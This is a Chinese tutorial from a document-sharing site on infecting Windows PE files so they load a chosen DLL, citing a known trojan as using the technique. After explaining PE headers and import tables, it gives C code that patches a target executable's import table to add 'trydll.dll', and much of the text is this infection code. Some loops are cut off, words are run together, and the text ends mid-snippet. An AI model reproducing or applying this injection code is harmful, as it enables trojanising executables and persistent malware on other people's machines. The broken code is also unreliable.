感染PE文件加载DLL.docx
- 文档编号:23465576
- 上传时间:2023-05-17
- 格式:DOCX
- 页数:14
- 大小:19.27KB
感染PE文件加载DLL.docx
《感染PE文件加载DLL.docx》由会员分享,可在线阅读,更多相关《感染PE文件加载DLL.docx(14页珍藏版)》请在冰豆网上搜索。
感染PE文件加载DLL
感染PE文件加载DLL
PE文件,全称是PortableExecutable文件,是Windows系统可执行文件采用的普遍格式,平时接触的EXE、DLL、OCX甚至是SYS文件都是属于PE文件的范畴。
很多Win32病毒都是基于感染PE文件来进行传播的,“摆渡者”木马就是通过感染PE文件使其加载指定的DLL.
PE文件功能
在Windows程序中需要用各种各样的系统API,这些API被微软封装在不同的DLL文件中,这些DLL会在进程启动时(或者需要时)加载到进程的地址空间,我们调用一个API都是基于如下的汇编代码实现的:
00411A3Emovesi,esp
00411A40push100h
00411A45leaeax,[strDllDir]
00411A4Bpusheax
00411A4Ccalldwordptr[_imp_GetWindowsDirectoryA@8(42B180h)
调用一个系统API是在参数压栈后调用Call命令执行系统调用GetWindowsDirectory()的。
系统调用是通过DLL引入进程的,但是不同进程引入的DLL地址并不相同,Call调用地址就是通过PE文件的作用,PE文件里面定义了本文件加载的基地址和相对偏移值就可以算出某个特定API在本进程地址空间的位置,并加以调用。
此外,PE文件还具有制定默认引入DLL、到处API等其他功能。
分析PE文件的准备工作
进行PE文件分析需要准备的软件分别为ExpScope,使用该程序可以打开一个PE文件进行分析,能够显示PE头结构、导入表、导出表和资源等相关信息;LordPE,它可以分析静态文件,也可以分析当前运行的进程,此外还提供简单的脱壳和PE文件修复功能。
PE文件头部分析
PE文件的头总体结构如图所示:
PE文件结构
MS-DOS
MZ头部
MS-DOS
实模式残余程序
PE文件标志
PE文件头
PE文件
可选头部
.text段头部
.bss段头部
.rdata段头部
……
.debug段头部
.text段
.bss段
.rdata段
……
Debug段
PE文件段
PE文件段可以被链接器链接到PE文件的任何地方,程序执行时从PE文件定位段全靠段头部。
VirtualAddress这个域标识了进程地址空间中要装载这个段的虚拟地址。
实际的地址将这个域的值加上可选头部结构中的ImageBase虚拟地址得到。
如果这个映像文件是一个DLL,那么这个DLL就不一定会装载到ImageBase要求的位置。
一旦这个文件被装载进入了一个进程,实际的ImageBase值应该通过使用GetModuleHandle来检验。
SizeOfRawData表示原始数据的大小,也就是根据FileAignment进行对齐之前的数据大小。
PointerToRawData是一个文件中段实体位置的偏移量。
数据目录所指向的内容属于一个段实体,每个段在进程执行时被加载到进程地址空间的偏移量是由这个段段头部的VirtualAddress确定的,根据两个VirtualAddress的差值确定这个数据相对于这个段实体头部的偏移量,然后再根据段头部的PointerToRawData定位这个段实体在PE文件中的位置,就可以进一步确定该DataDirectory所对应数据在文件中的位置了。
下面的代码是实现了根据DataDirectory数组下标确定其对应的数据位置的功能。
{
PIMAGE_DOS_HEADERpDosHeader=(PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADERpFileHeader=(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32pOptionalHeader=(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
BYTE*pInterPoint=pFileImage+VirtualAddrToOffSet(pOptionalHeader->AddressOfEntryPoint,pFileImage);
PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)(((char*)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
If(dwDatadirectoryIndex>=pOptionalHeader->NumberOfRvaANDsizes){
returnNull;
基于类似的原理,还可以实现从VirtualAddress向文件偏移量的转换,下面的函数就是实现了这个功能。
DWORDVirtualAddrToOffSet(DWORDdwVirtualAddr,BYTE*pFileImage)
{
PIMAGE_DOS_HEADERpDosHeader=(PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADERpFileHeader=(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32pOptionalHeader=(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)(((char*)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_SECTION_HEADERpSectionBelong=NULL;
for(inti=0;i
{
if(pSectionHeader[i].VirtualAddress<=dwVirtualAddr&&pSectionHeader[i].VirtualAddress+pSectionHeader[i].SizeOfRawData>=dwVirtualAddr)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return0;
}
else
{
returnpSectionBelong->PointerToRawData+dwVirtualAddr-pSectionBelong->VirtualAddress;
}
}
导入表内容分析
在“winnt.h”中有多个数据结构都和导入表有关系,这里先分析IMAGE_IMPORT_DESCRIPTOR。
”winnt.h”中对这个数据结构定义如下:
typedefstruct_IMAGE_IMPORT_DESCRIPTOR{
union{
DWORDCharacteristics;//0forterminatingnullimportdescriptor
DWORDOriginalFirstThunk;//RVAtooriginalunboundIAT(PIMAGE_THUNK_DATA)
};
DWORDTimeDateStamp;//0ifnotbound,
//-1ifbound,andrealdate\timestamp
//inIMAGE_DIRECTORY_ENTRY_BOUND_IMPORT(newBIND)
//O.W.date/timestampofDLLboundto(OldBIND)
DWORDForwarderChain;//-1ifnoforwarders
DWORDName;
DWORDFirstThunk;//RVAtoIAT(ifboundthisIAThasactualaddresses)
}IMAGE_IMPORT_DESCRIPTOR;
第一个成员变量是一个union,其实也就是一个DWORD,这个成员变量既可以在为零的时候代表IMAGE_IMPORT_DESCRIPTOR数组结束(即数组的最后一个元素),又可以标识一个IMAGE_THUNK_DATA数组的虚拟偏移地址,这个数组每一项代表一个引入函数。
第二个和第三个变量按照PE文件的规范是代表时间戳和数组长度。
Name是一个虚拟地址,指向一个IMAGE_THUNK_DATA数组,代表模块导入的函数。
再来分析IMAGE_THUNK_DATA的结构,”winnt.h”对这个结构的定义如下:
typedefstruct_IMAGE_THUNK_DATA32{
union{
DWORDForwarderString;//PBYTE
DWORDFunction;//PDWORD
DWORDOrdinal;
DWORDAddressOfData;//PIMAGE_IMPORT_BY_NAME
}u1;
}IMAGE_THUNK_DATA32;
这个结构可以被当作一个DWORD使用,当这个DWORD最高位是1的时候,代表这个函数通过序号形式引入,下面的宏就是”winnt.h”中用来取出函数导入序号的。
#defineIMAGE_ORDINAL32(Ordinal)(Ordinal&0xffff)
如果最高位是零,则这个DWORD就代表一个虚拟地址,指向一个IMAGE_IMPORT_BY_NAME结构,这个结构定义如下:
typedefstruct_IMAGE_IMPORT_BY_NAME{
WORDHint;
BYTEName[1];
}IMAGE_IMPORT_BY_NAME;
在结构定义时,虽然Name数组的长度为1,但在PE文件中,其为一个以“0”结尾的字符串,表示函数的名字。
我们可以使用如下代码获得每个模块中的导入函数名称。
int_tmain(intargc,_TCHAR*argv[])
{
DWORDdwFileSize=0;
LPVOIDpPeImage=NULL;
CMapFilecMapFile("try.exe",true,pPeImage,dwFileSize);
if(pPeImage!
=NULL)
{
BYTE*pFileImage=(BYTE*)pPeImage;
PIMAGE_DOS_HEADERpDosHeader=(PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADERpFileHeader=(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32pOptionalHeader=(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
BYTE*pInterPoint=pFileImage+VirtualAddrToOffSet(pOptionalHeader->AddressOfEntryPoint,pFileImage);
PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)(((char*)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
BYTE*pRDataEnd=pFileImage+pSectionHeader[1].PointerToRawData+pSectionHeader[1].SizeOfRawData-1;
UINTnPadSize=0;
while(pRDataEnd[0]==0)
{
nPadSize++;
pRDataEnd--;
}
nPadSize--;
BYTE*pPadStart=++++pRDataEnd;
PIMAGE_IMPORT_DESCRIPTORpOriginalImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
intnImportDescriptor=0;
do
{
nImportDescriptor++;
}
while(pOriginalImportDescriptor[nImportDescriptor].Characteristics!
=0);
DWORDdwBufferSize=sizeof(IMAGE_IMPORT_DESCRIPTOR)*nImportDescriptor;
if(nPadSize>dwBufferSize+sizeof(IMAGE_IMPORT_DESCRIPTOR))
{
memcpy(pPadStart,pOriginalImportDescriptor,dwBufferSize);
memset(pOriginalImportDescriptor,0,dwBufferSize);
PIMAGE_IMPORT_DESCRIPTORpImportDescriptorAdded=PIMAGE_IMPORT_DESCRIPTOR(pPadStart+dwBufferSize);
strcpy((char*)pOriginalImportDescriptor,"trydll.dll");
PIMAGE_IMPORT_BY_NAMEpImportByName=(PIMAGE_IMPORT_BY_NAME)((char*)(pOriginalImportDescriptor+1))+5;
DWORDm_IMAGE_THUNK_DATA=OffsetToVirtuanAddr((BYTE*)pImportByName-pFileImage,pFileImage);
memcpy((char*)(pOriginalImportDescriptor+1),&m_IMAGE_THUNK_DATA,4);
pImportByName->Hint=314;
strcpy((char*)pImportByName->Name,"DllRegisterServer");
pImportDescriptorAdded->Name=OffsetToVirtuanAddr((BYTE*)pOriginalImportDescriptor-pFileImage,pFileImage);
pImportDescriptorAdded->FirstThunk=OffsetToVirtuanAddr((BYTE*)(pOriginalImportDescriptor+1)-pFileImage,pFileImage);
pImportDescriptorAdded->OriginalFirstThunk=OffsetToVirtuanAddr((BYTE*)(pOriginalImportDescriptor+1)-pFileImage,pFileImage);
pImportDescriptorAdded->ForwarderChain=0;
pImportDescriptorAdded->TimeDateStamp=0;
pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=OffsetToVirtuanAddr(pPadStart-pFileImage,pFileImage);
pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size+=sizeof(IMAGE_IMPORT_DESCRIPTOR);
printf("Succsee");
}
else
{
printf("Noenoughsparespace");
}
}
else
{
printf("MapFileError");//IMAGE_IMPORT_DIRECTORY
}
getch();
return0;
}
IMAGE_IMPORT_DIRECTOR中会有两个值都指向IMAGE_THUNK_DATA数组,其中的OrinalFirstThunk指向函数导入相关的MAGE_THUNK_DATA结构,而FirstThunk指向的IMAGE_IMPORT_BY_NAME结构,这个结构的Name对应一个长度为1的字符串,而当这个PE文件被加载后,FirstThunk就会变成这个函数在其加载进程地址空间的位置。
修改导入表加载DLL
为了实现在文件导入表加一个DLL,首先准备功能函数OffsetToVirtuanAdd(),用来将文件偏移量转换成虚拟地址,实现代码如下:
DWORDOffsetToVirtuanAddr(DWORDdwOffset,BYTE*pFileImage)
{
PIMAGE_DOS_HEADERpDosHeader=(PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADERpFileHeader=(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32pOptionalHeader=(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)(((char*)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_SECTION_HEADERpSectionBelong=NULL;
for(inti=0;i
{
if(pSectionHeader[i].PointerToRawData<=dwOffset&&pSectionHeader[i].PointerToRawData+pSectionHeader[i].SizeOfRawData>=dwOffset)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return0;
}
else
{
returnpSectionBelong->VirtualAddress+dwOffset-pSectionBelong->PointerToRawData;
}
}
这个函数的原理和函数VirtualAddressToOffset()类似,都是首先遍历全部的段头部,找到本偏移地址所在的段,然后根据段头部的VirtualAddress和dwOffset对应的VirtualAddress,并返回结果。
要在PE文件中添加导入段,必须重写IMAGE_IMPORT_DESCRIPTOR数组。
这个数组每一项对应一个导入的DLL,以一个Characteristics为零的结构体结束,而且这个数组必须是连续的
每个段为了内存与页对齐,其末尾都是有一定的填充数据的,本程序就是利用这些填充数据写入新的IMAGE_IMPORT_DESCRIPTOR数组。
新写入的数组比原来的数组长度增加1,对应需要引入的DLL,但是引入一个DLL还需要其他结构的协助,例如“IMAGE_THUNK_DATA”、“IMAGE_IMPORT_BY_NAME”,用来存放旧的IMAGE_IMPORT_DESCRIPTOR数组的空间正好存放这些数据。
实现代码具体如下:
BYTE*pFileImage=(BYTE*)pPeImage;
PIMAGE_DOS_HEADERpDosHeader=(PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADERpFileHeader=(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32pOptionalHeader=(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
BYTE*pInterPoint=pFileImage+VirtualAddrToOffSet(pOptionalHeader->AddressOfEntryPoint,pFileImage);
PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)(((char*)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
BYTE*pRDataEnd=pFileImage+pSectionHeader[1].PointerToRawData+pSectionHeader[1].SizeOfRawData-1;
UINTnPadSize=0;
while(pRDataEnd[0]==0)
{
nPadSize++;
pRDataEnd--;
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 感染 PE 文件 加载 DLL